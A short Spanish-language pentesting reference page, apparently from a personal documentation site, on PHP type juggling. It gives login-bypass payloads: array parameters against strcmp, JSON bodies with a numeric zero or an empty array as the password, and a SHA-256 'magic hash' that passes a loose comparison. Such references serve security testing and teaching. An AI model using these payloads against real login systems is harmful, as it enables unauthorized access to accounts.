> For the complete documentation index, see [llms.txt](https://web.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://web.mrw0l05zyn.cl/explotacion/type-juggling.md).

# Type juggling

## PHP

### strcmp

```php
username[]=admin&password[]=admin
```

{% hint style="info" %}
El comportamiento de la función `strcmp` fue modificado a partir de PHP 8.0.0, desde esta versión, se genera un error si alguno de los argumentos proporcionados no es una cadena. Por lo tanto, dicha omisión solo es válida en versiones anteriores a PHP 8.0.0.
{% endhint %}

### JSON

```json
{
    "username":"admin",
    "password":0
}
```

```json
{
    "username":"admin",
    "password":[]
}
```

### Magic hashes

```php
<?php
    $stored_hash = "0e12345678901234567890123456789012345678901234567890123456789012";
    $input = "TyNOQHUS";
    $input_hash = hash("sha256", $input); // 0e66298694359207596086558843543959518835691168370379069085300385

    if ($stored_hash == $input_hash) {
        echo "Type juggling";
    }
?>
```

* <https://github.com/spaze/hashes>
